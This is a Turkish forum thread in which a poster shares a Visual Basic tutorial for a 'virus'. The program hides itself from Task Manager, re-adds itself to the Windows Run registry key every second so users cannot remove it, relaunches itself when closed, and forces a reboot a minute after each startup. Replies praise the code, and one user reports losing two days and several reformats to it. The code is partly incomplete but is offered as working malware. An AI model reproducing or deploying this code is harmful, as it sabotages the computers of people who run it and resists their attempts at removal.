Yaw bi ara benim pcye böyle bi olay olmuştu, senmi yaptın yoksa şaka maka açamıyodum yaa silin bu zararlı kodları yaw

evet kodlar güzel bi karmada benden

Şimdi vb de çoook basit ama etkili bir virüs yazacağız. Programın mantığı şu. bilgisayar açıldıktan 1 dk sonra pc ye restart atacak. Tabi bu arada kendini msconfig e eklediği için her açılıştan 1 dk sonra pc restart lanacak Projemiz basit formumuza sadece 2 timer koyuyoruz ve kodlamaya başlıyoruz. Timer1 in interval ini 60000 (60000 milisaniye 1 dk eşittir bunu azaltarak pc nin restartlanma süresini kısaltabilirsiniz )yapıyoruz ve kod penceresine şunu yazıyoruz Shell ("shutdown -r -t 1")'Pc yi yeniden başlatma kodu Timer2 nin interval ini 1000 yapıyoruz ve kod penceresine şunu yazıyoruz Dim KayitDefteri As Object Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe" ' Bu kod programın bilgisayar her açıldığında kendini çalıştırmasını sağlıyor. Eğer kullanıcı msconfig den silerse 1 sn sonra kendini yine listeye ekliyor Form1 in de visible ını false yapıyoruz ve load olayına şu kodu yazıyoruz App. TaskVisible = False Me. Visible = False Me. Hide 'App. TaskVisible = False ile ctrl + alt +delete de programın gözükmesini engelliyoruz. Yinede işlemler sekmesinde gözüküyor. Aslında diğer kodlara gerek yok formun visible ını false yaparakta aynı şeyi yapıyoruz ama işi garantiye alalım Bu sefer formun terminate olayınada şu kodu yazıyoruz Shell ' Bu kodda program kapatıldığında kendini açması sağlanıyor. Tabi bu arada 1 dk baştan başlıyor. Bu programı kendi pc nizde çalıştırmayın zira kurtulması yapmasından daha zordur. Ha bu arada olabilecek hasarlardan ben sorumlu diilim

Gerçekten iiyii Kod : +K

TebrikLer Etkili...

Reg kaydı için gereken şey bir adet değişken belirlemek. Bu kayıt sayesinde kaydı silebilir, kayıt ekleyebilir veya kendi hazırladığın bir anahtarı oraya kayıt ekleyebilirsin. Tabi en son söylediğim olayda assembly dili bilmek şart Neyse bak orada KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe" Bu kodlar yazıyor ya. Orada işte KayitDefteri. RegWrite < regwrite deyimi reg işlemini belirtiyor. Regdelete olarak belirtirsen silmesi gerekiyor ama şuan benim kayıtlı birşeyi silmeme lüzum yok ama sen belirtirsen yerini ona göre silmesi gerekir

arkadaşlar bi şey soracam. Şimdi bu kodlar Dim KayitDefteri As Object Set KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe" her açılışta programın çalışmasını sağlıyor ya peki bunun geri dönüşü yokmu bunu silmek istesek olmazmı?

Evet itiraf ediyom ben yaptım İşinize yarıyorsa ne mutlu bana

tamam arkadaşım bende deneyerek bulurumda şimdi bilgisayara zarar vermeyelim zaten güç bela toparladım bilgisayarı (2 günde en az 4 format çektim)... kesin kod olsa daha iyi olur benim için. teşekkürler...

Bu paylaşım tam aradığım